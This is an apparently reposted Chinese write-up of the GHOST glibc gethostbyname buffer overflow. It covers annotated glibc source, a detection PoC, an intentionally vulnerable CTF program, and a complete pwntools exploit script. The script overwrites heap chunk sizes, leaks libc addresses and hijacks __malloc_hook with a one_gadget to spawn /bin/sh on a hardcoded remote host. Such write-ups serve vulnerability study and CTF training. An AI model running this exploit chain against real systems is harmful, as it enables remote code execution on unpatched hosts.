龙空技术网

GHOST漏洞解析与题解

安全客小安 219

前言:

此时咱们对“python判断输入的ip地址的合法性”大致比较看重,你们都需要了解一些“python判断输入的ip地址的合法性”的相关内容。那么小编同时在网络上搜集了一些关于“python判断输入的ip地址的合法性””的相关资讯,希望各位老铁们能喜欢,你们一起来学习一下吧!

漏洞描述glibc的__nss_hostname_digits_dots存在缓冲区溢出漏洞,导致使用gethostbyname系列函数的某些软件存在代码执行或者信息泄露的安全风险通过gethostbyname()函数或gethostbyname2()函数,将可能产生一个堆上的缓冲区溢出经由gethostbyname_r()或gethostbyname2_r(),则会触发调用者提供的缓冲区溢出漏洞产生时至多sizeof(char* )个字节可被覆盖影响范围:2.2 <= glibc <=2.17gethostbyname*()系列函数

#include <netdb.h>struct hostent * gethostbyname(const char * hostname);   //根据输入的主机名,查找IP地址/* Glibc2  also  has  reentrant  versions  gethostent_r(),  gethostbyaddr_r(),  gethostbyname_r()  and gethostbyname2_r().     The caller supplies a hostent structure ret which will be filled in on success,  and  a  temporary work  buffer  buf  of size buflen.     After the call, result will point to the result on success. */int gethostbyname_r(                            //和gethostbyname原理一样,只是内存分配交给用户                        const char *name,         //要解析的名字                        struct hostent *ret,     //保存返回值的地方                        char *buf,                 //这个函数运行时的缓冲区                        size_t buflen,             //缓冲区长度                        struct hostent **result,//如果失败,则result为null,如果成功则指向ret                        int *h_errnop            //保存错误代码                  );
结构体
/* Description of data base entry for a single host.  描述一个地址最基本的条目 */struct hostent{  char *h_name;            /* Official name of host.  正式主机名*/  char **h_aliases;        /* Alias list.  别名*/  int h_addrtype;        /* Host address type.  IP地址类型*/  int h_length;            /* Length of address.  地址长度*/  char **h_addr_list;        /* List of addresses from name server.  IP地址列表*/};
用法
#include <stdio.h>#include <netdb.h>#include <arpa/inet.h>int main(int argc, char** argv){    char* name = argv[1];    struct hostent* host = gethostbyname(name);    if(host==NULL)        printf("error\n");    else{        printf("%s\n", host->h_name);        for(int i=0; host->h_aliases[i]!=NULL; i++)            printf("\t%s\n", host->h_aliases[i]);        printf("IP type %d, IP addr len %d\n", host->h_addrtype, host->h_length);        char buffer[INET_ADDRSTRLEN];        for(int i=0; host->h_addr_list[i]!=NULL; i++){            char* ip = inet_ntop(host->h_addrtype, host->h_addr_list[i], buffer, sizeof(buffer));            printf("\t%s\n", ip);        }    }}

特殊点:如果name输入的是IP地址,则不会去DNS查询,而是直接写入到hostent指向的内存区中,这里因为没有进行合法性判断,所以输入奇怪的IP,比如检测代码中的一串0。它会被直接写入tmp.buffer,一同写入的还包括解析的主机信息。所以就很容易超过tmp.buffer的长度,造成溢出。

POC

#include <netdb.h>#include <stdio.h>#include <stdlib.h>#include <string.h>#include <errno.h>#define CANARY "in_the_coal_mine"struct{   char buffer[1024];   char canary[sizeof(CANARY)];} temp = {"buffer", CANARY};int main(void){   struct hostent resbuf;   struct hostent *result;   int herrno;   int retval;       /*** strlen (name) = size_needed - sizeof (*host_addr) - sizeof (*h_addr_ptrs) - 1; ***/   size_t len = sizeof(temp.buffer) - 16 * sizeof(unsigned char) - 2 * sizeof(char *) - 1;   char name[sizeof(temp.buffer)];   memset(name, '0', len);   name[len] = '\0';       retval = gethostbyname_r(name, &resbuf, temp.buffer, sizeof(temp.buffer), &result, &herrno);   if (strcmp(temp.canary, CANARY) != 0)   {      puts("vulnerable");      exit(EXIT_SUCCESS);   }   if (retval == ERANGE)   {      puts("not vulnerable");      exit(EXIT_SUCCESS);   }   puts("should not happen");   exit(EXIT_FAILURE);}
源码分析

gethostbyname函数入口点在inet/gethsbynm.c系列文件中

#define LOOKUP_TYPE	struct hostent#define FUNCTION_NAME	gethostbyname#define DATABASE_NAME	hosts#define ADD_PARAMS	const char *name#define ADD_VARIABLES	name#define BUFLEN		1024#define NEED_H_ERRNO	1#define HANDLE_DIGITS_DOTS	1#include <nss/getXXbyYY.c> //通过宏达到模版展开的效果
nss/getXXbyYY.c也先通过__nss_hostname_digits_dots()判断是否为IP,如果要解析IP的话就直接结束如果是域名那么后面调用__gethostbyname_r()进行解析
//根据宏定义, 会自动被展开为一个函数定义, 这里会展开为gethostbyname()的定义LOOKUP_TYPE *FUNCTION_NAME(const char *name) //函数定义{    static size_t buffer_size; //静态缓冲区的长度    static LOOKUP_TYPE resbuf;    LOOKUP_TYPE *result;#ifdef NEED_H_ERRNO    int h_errno_tmp = 0;#endif    /* Get lock.  */    __libc_lock_lock(lock);    if (buffer == NULL) //如果没有缓冲区就自己申请一个    {        buffer_size = BUFLEN;        buffer = (char *)malloc(buffer_size);    }#ifdef HANDLE_DIGITS_DOTS    if (buffer != NULL)    {        /*            - 发生漏洞的函数            - __nss_hostname_digits_dots()先对name进行预处理                - 如果要解析的name就是IP, 那就复制到resbuf中, 然后返回1                - 如果是域名, 那么就复制到resbuf中, 返回0            - 如果返回1, 说明解析的就是IP, 你那么进入done, 解析结束        */        if (__nss_hostname_digits_dots(name,         //传入的参数: 域名                                       &resbuf,      //解析结果                                       &buffer,      //缓冲区                                       &buffer_size, //缓冲区大小指针                                       0,            //缓冲区大小                                       &result,      //存放结果的指针                                       NULL,         //存放状态的指针                                       AF_VAL,       //地址族                                       H_ERRNO_VAR_P //错误代码                                       ))            goto done;    }#endif    /* DNS域名解析,宏展开   *    (INTERNAL(REENTRANT_NAME)(ADD_VARIABLES, &resbuf, buffer, buffer_size, &result H_ERRNO_VAR)    * => (INTERNAL(gethostbyname_r)(name, &resbuf, buffer, buffer_size, &result, &h_errno_tmp)    * => (INTERNAL1(gethostbyname_r)(name, &resbuf, buffer, buffer_size, &result, &h_errno_tmp)    * => __gethostbyname_r(name, &resbuf, buffer, buffer_size, &result, &h_errno_tmp)  */    while (buffer != NULL && (INTERNAL(REENTRANT_NAME)(ADD_VARIABLES, &resbuf, buffer, buffer_size, &result H_ERRNO_VAR) == ERANGE)#ifdef NEED_H_ERRNO           && h_errno_tmp == NETDB_INTERNAL#endif    )    {        char *new_buf;        buffer_size *= 2;        new_buf = (char *)realloc(buffer, buffer_size);        if (new_buf == NULL)        {            /* We are out of memory.  Free the current buffer so that the         process gets a chance for a normal termination.  */            free(buffer);            __set_errno(ENOMEM);        }        buffer = new_buf;    }    if (buffer == NULL)        result = NULL;#ifdef HANDLE_DIGITS_DOTSdone:#endif    /* Release lock.  */    __libc_lock_unlock(lock);#ifdef NEED_H_ERRNO    if (h_errno_tmp != 0)        __set_h_errno(h_errno_tmp);#endif    return result;}
漏洞函数:nss/digits_dots.c :__nss_hostname_digits_dots(name, resbuf, buffer, …)这个函数负责处理name为IP地址的情况, 当name为域名时只是进行一些复制工作name指向要解析的字符串resbuf指向存放解析结果的hostennt结构体buffer则为解析时所分配的空间, resbuf中的指针指向buffer分配的空间
int __nss_hostname_digits_dots(const char *name,        //要解析的名字                               struct hostent *resbuf,    //存放结果的缓冲区                               char **buffer,            //缓冲区                               size_t *buffer_size,        //缓冲区长度 1K                               size_t buflen,            //0                               struct hostent **result, //指向结果指针的指针                               enum nss_status *status, //状态 NULL                               int af,                    //地址族                               int *h_errnop)            //错误代码{    int save;    //...    /*   * disallow names consisting only of digits/dots, unless they end in a dot.   * 不允许name只包含数字和点,除非用点结束   */    if (isdigit(name[0]) || isxdigit(name[0]) || name[0] == ':') //name开头是十进制字符/十六进制字符/冒号,就判断为IP地址    {        const char *cp;        char *hostname;        //host_addr是一个指向16个unsignned char数组的指针        typedef unsigned char host_addr_t[16];        host_addr_t *host_addr;        //h_addr_ptrs就是一个指向两个char*数组的指针        typedef char *host_addr_list_t[2];        host_addr_list_t *h_addr_ptrs;        //别名的指针列表        char **h_alias_ptr;        //需要的空间        size_t size_needed;        //根据地址族计算IP地址长度        int addr_size;        switch (af)        {        case AF_INET:              //IPV4            addr_size = INADDRSZ; //INADDRSZ=4            break;        case AF_INET6:               //IPV6            addr_size = IN6ADDRSZ; //IN6ADDRSZ=16            break;        default:            af = (_res.options & RES_USE_INET6) ? AF_INET6 : AF_INET;            addr_size = af == AF_INET6 ? IN6ADDRSZ : INADDRSZ;            break;        }        //计算函数运行所需要的缓冲区大小,这里出了问题,没有给h_alias_ptr分配空间,因此产生溢出        size_needed = (sizeof(*host_addr) + sizeof(*h_addr_ptrs) + strlen(name) + 1); //16 + 16 + strlen(name) + 1        //如果buffer_size指针为空, 并且buflen还不够, 那么重新申请缓冲区时就没法更新buffer_size, 只能报错        if (buffer_size == NULL)        {            if (buflen < size_needed)            {                if (h_errnop != NULL)                    *h_errnop = TRY_AGAIN;                __set_errno(ERANGE);                goto done;            }        }        else if (buffer_size != NULL && *buffer_size < size_needed) //如果给的缓冲区不足,就重新调整buffer空间        {            char *new_buf;            *buffer_size = size_needed;                          //新buffer_size            new_buf = (char *)realloc(*buffer, *buffer_size); //就把buffer空间调整到所需要的大小            //分配失败            if (new_buf == NULL)            {                save = errno;                free(*buffer);                *buffer = NULL;                *buffer_size = 0;                __set_errno(save);                if (h_errnop != NULL)                    *h_errnop = TRY_AGAIN;                *result = NULL;                goto done;            }            *buffer = new_buf; //写入新缓冲区        }        //缓冲区初始化        memset(*buffer, '\0', size_needed);        //对缓冲区进行分割        host_addr = (host_addr_t *)*buffer;                                            //占用0x10B        [*buffer, *buffer + 0x10)        h_addr_ptrs = (host_addr_list_t *)((char *)host_addr + sizeof(*host_addr)); //占用0x10B        [*buffer + 0x10, *buffer + 0x20)        //这里出了问题,没有给h_alias_ptr分配空间,因此产生溢出        h_alias_ptr = (char **)((char *)h_addr_ptrs + sizeof(*h_addr_ptrs)); //占用0x8B                [*buffer + 0x20, *buffer + 0x28)        hostname = (char *)h_alias_ptr + sizeof(*h_alias_ptr);                 //占用strlen(name)+1    [*buffer + 0x28, *buffer + 0x28 + strlen(name) + 1)        if (isdigit(name[0])) //IPv4: 开头是数字        {            for (cp = name;; ++cp) //遍历name            {                if (*cp == '\0') //如果name结束了                {                    int ok;                    if (*--cp == '.') //如果是.\0这样的,则非法                        break;                    //IP地址是字符串表示,转换成网络序列保存在host_addr中, host_addr用的就是函数内部的缓冲区*buffer                    if (af == AF_INET)                        ok = __inet_aton(name, (struct in_addr *)host_addr);                    else                    {                        assert(af == AF_INET6);                        ok = inet_pton(af, name, host_addr) > 0;                    }                    //转换出错                    if (!ok)                    {                        *h_errnop = HOST_NOT_FOUND;                        if (buffer_size)                            *result = NULL;                        goto done;                    }                    //直接把name复制到hostname中, 用hostname作为结果中的h_name                    //strcpy从*buffer+0x28开始写入strlen(name)+1, 产生溢出                    resbuf->h_name = strcpy(hostname, name);                    //没有别名                    h_alias_ptr[0] = NULL;                    resbuf->h_aliases = h_alias_ptr;                    //h_addr_list只有一个                    (*h_addr_ptrs)[0] = (char *)host_addr; //地址也是一样的                    (*h_addr_ptrs)[1] = NULL;                    resbuf->h_addr_list = *h_addr_ptrs;                    //设置长度与IP地址类型                    if (af == AF_INET && (_res.options & RES_USE_INET6))                    {                        //...                    }                    else                    {                        resbuf->h_addrtype = af;                        resbuf->h_length = addr_size;                    }                    //返回的状态                    //...                    //结束                    goto done;                }                if (!isdigit(*cp) && *cp != '.') //既不是字母,又不是. 那么就不是合法的IPv4,退出                    break;            }        }        if ((isxdigit(name[0]) && strchr(name, ':') != NULL) || name[0] == ':') //IPv6: 开始是hex字符并且包含':'. 或者包含分号        {            //...        }    }    return 0;done:    return 1;}
判断IP地址的方法很简陋在生成hostent结构体时出了问题没有计算h_alias_ptr

图示:

因此把hostname复制过去,在这里产生了溢出8B函数的数据结构:题目解析题目源码

//gcc pwn.c -g -o pwn#include <stdio.h>#include <netdb.h>#include <stdlib.h>#include <arpa/inet.h>#define MAX 16struct hostent* HostArr[MAX];char* BufferArr[MAX];char* NameArr[MAX];int Menu(void){    puts("1.InputName");    puts("2.ShowHost");    puts("3.Delete");    puts("4.Exit");    printf(">>");    int cmd;    scanf("%d", &cmd);    return cmd;}void InputName(void){    //read idx    int idx;    printf("idx:");    scanf("%d", &idx);    if(idx<0 || idx>=MAX)        exit(0);    //alloc name buf    int len;    printf("len:");    scanf("%d", &len);    NameArr[idx] = malloc(len+1);    if(NameArr[idx]==NULL)        exit(0);    //read name    int i;    for(i=0; i<len; i++)    {        char C;        read(0, &C, 1);        NameArr[idx][i] = C;        if(NameArr[idx][i]=='\n')            break;    }    NameArr[idx][i]='\0';    //allloc buffer    int buffer_size = 0x20+len+1;    BufferArr[idx] = malloc(buffer_size);    //get host by name    HostArr[idx] = malloc(sizeof(struct hostent));    struct hostent* res;        int herrno;    gethostbyname_r(NameArr[idx], HostArr[idx], BufferArr[idx], buffer_size, &res, &herrno);}void ShowHost(void){    //read idx    int idx;    printf("idx:");    scanf("%d", &idx);    if(idx<0 || idx>=MAX)        exit(0);    struct hostent* host = HostArr[idx];    //host name    if(host->h_name!=NULL)        printf("%s\n", host->h_name);    //IP    if(host->h_addr_list!=NULL)           for(int i=0; host->h_addr_list[i]!=NULL; i++){            char* ip = host->h_addr_list[i];            printf("%s\n", ip);        }}void Delete(void){    //read idx    int idx;    printf("idx:");    scanf("%d", &idx);    if(idx<0 || idx>=MAX)        exit(0);    free(NameArr[idx]);    NameArr[idx]=NULL;    free(BufferArr[idx]);    BufferArr[idx]=NULL;    free(HostArr[idx]);    HostArr[idx]=NULL;}int main(int argc, char** argv){    setbuf(stdin, NULL);    setbuf(stdout, NULL);    int cmd=0;    while(1)    {        cmd = Menu();        if(cmd==1)            InputName();        else if(cmd==2)            ShowHost();        else if(cmd==3)            Delete();        else            break;    }    return 0;}
编译时保护全开patchelf让编译出的文件使用2.17的libcpatchelf --set-interpreter `pwd`/ld.so.2 --set-rpath `pwd` ./pwn思路构造chunk重叠覆盖size的目的是构造chunk重叠, 这样才能控制堆上的各种指针__nss_hostname_digits_dots向buffer写入时要求只能是.和十进制字符, 实测发现只写入0是最稳定可以溢出的hostent的size本来就是0x30, 只覆盖为一个’0’也还是0x30, 因此覆盖两个0, 让chunksize变成0x3030自此又产生了三种思路,如果覆盖为0x3031, 在chunk后面放0x21的在使用chunk, 直接得到一个非常大的UBchunk使用top chunk作为后一个chunk, 从而与top合并如果覆盖为0x3030, 那么可以通过P=0向前合并free时的检查check_in_chunk()检查最少的就是后一个chunkP=1, 并且不是top chunk的情况,因此溢出Bufer的size为0x3031之后, 只需要再Buffer chunk+0x3030处伪造放上一个flat(0, 0x21, 0, 0)的chunk就可得到一个很大的UBchunk__nss_hostname_digits_dots在写入时对于name限制很多, 因此我们只用他去溢出size, 读入name的过程对字符限制很少, 因此总体思路为利用gethostbyname_r()溢出size利用read(0, name, ..)进行写入任意数据泄露地址Show时会通过hostent结构体中得到指针进行输出, 因此我们打出chunk 重叠之后, 有两个思路利用00写入覆盖hostent.h_name指针的最低字节, 使其指向某个指针, 然后泄露地址直接Bin机制在hostent中写入指针, 然后写入地址第二种更具有普适性, 不需要细致的调整, 因此选择第二个思路:假如有N0 | B0|H0 | N1 | B1 | H1利用__nss_hostname_digits_dots()在写入B0时溢出0的chunk size为0x3031然后通过布局在H0+0x3030的位置放上flat(0, 0x21, 0, 0)伪造H0的nextchunk

f – ree(H0)即可打出chunk 重叠, 此时UB<=>(B0, H0, N1, B1, H1)然后通过切割UB, 使得UB的fd bk指针写入到H1内部, 如下图然后show(3)即可泄露地址getshell有了地址之后getshell就很容易了再N1 B1 H1后面通过布局0x70的chunk, 然后free掉, 进入Fastbin[0x70]然后继续切割chunk, 修改fastbin chunk的fd为__malloc_hook-0x23, 利用0x7F伪造size然后修改__malloc_hook为OGGEXP

#! /usr/bin/python# coding=utf-8import sysfrom pwn import *from random import randintcontext.log_level = 'debug'context(arch='amd64', os='linux')elf_path = "./pwn"elf = ELF(elf_path)libc = ELF('libc.so.6')def Log(name):        log.success(name+' = '+hex(eval(name)))if(len(sys.argv)==1):            #local    cmd = [elf_path]    sh = process(cmd)    #proc_base = sh.libs()['/home/parallels/pwn']else:                            #remtoe    sh = remote('118.190.62.234', 12435)def Num(n):    sh.sendline(str(n))def Cmd(n):    sh.recvuntil('>>')    Num(n)def Name(idx, name):    Cmd(1)    sh.recvuntil('idx:')    Num(idx)    sh.recvuntil('len:')    Num(len(name))    sh.sendline(name)def Show(idx):    Cmd(2)    sh.recvuntil('idx:')    Num(idx)def Delete(idx):    Cmd(3)    sh.recvuntil('idx:')    Num(idx)#chunk overlapName(0, '0'*0x2F)Name(1, '0'*0x40+'10')Name(2, '0'*0x5F)Name(3, '0'*0x1F)Delete(3)Name(3, '0'*0x1F)        #switch Name and HostName(10, '0'*0x5F)Name(11, '0'*0x5F)Name(12, '0'*0x5F)Name(13, '0'*0x5F)exp = '0'*0x2950exp+= flat(0, 0x21, 0, 0)    #B0's next chunkName(5, exp)Delete(1)                #UB<=>(H0, 0x3030)#leak addrexp = '0'.ljust(0x7F, '\x00')Name(6, exp)            #split UB chunk, H3's h_addr_list=UB's bkShow(3)sh.recvuntil('0'*0x1F+'\n\n')heap_addr = u64(sh.recv(6).ljust(8, '\x00'))-0x358Log('heap_addr')sh.recv(17)libc.address = u64(sh.recv(6).ljust(8, '\x00'))-0x3c17a8Log('libc.address')#fastbin AttackDelete(10)exp = '0'*0x4FName(7, exp)exp = '0'*0x10exp+= flat(0, 0x71, libc.symbols['__malloc_hook']-0x23)exp = exp.ljust(0xBF, '0')Name(7, exp)Name(8, '0'*0x5F)exp = '0'*0x13exp+= p64(libc.address+0x462b8)Name(8, exp.ljust(0x5F, '0'))#gdb.attach(sh, '''#heap bins#telescope 0x202040+0x0000555555554000 48#break malloc#''')sh.interactive()'''NameArr            telescope 0x202040+0x0000555555554000HostArr            telescope 0x2020C0+0x0000555555554000BufferArr        telescope 0x2022C0+0x0000555555554000 0x46262 execve("/bin/sh", rsp+0x40, environ)constraints:  rax == NULL0x462b8 execve("/bin/sh", rsp+0x40, environ)constraints:  [rsp+0x40] == NULL0xe66b5 execve("/bin/sh", rsp+0x50, environ)constraints:  [rsp+0x50] == NULL'''

标签: #python判断输入的ip地址的合法性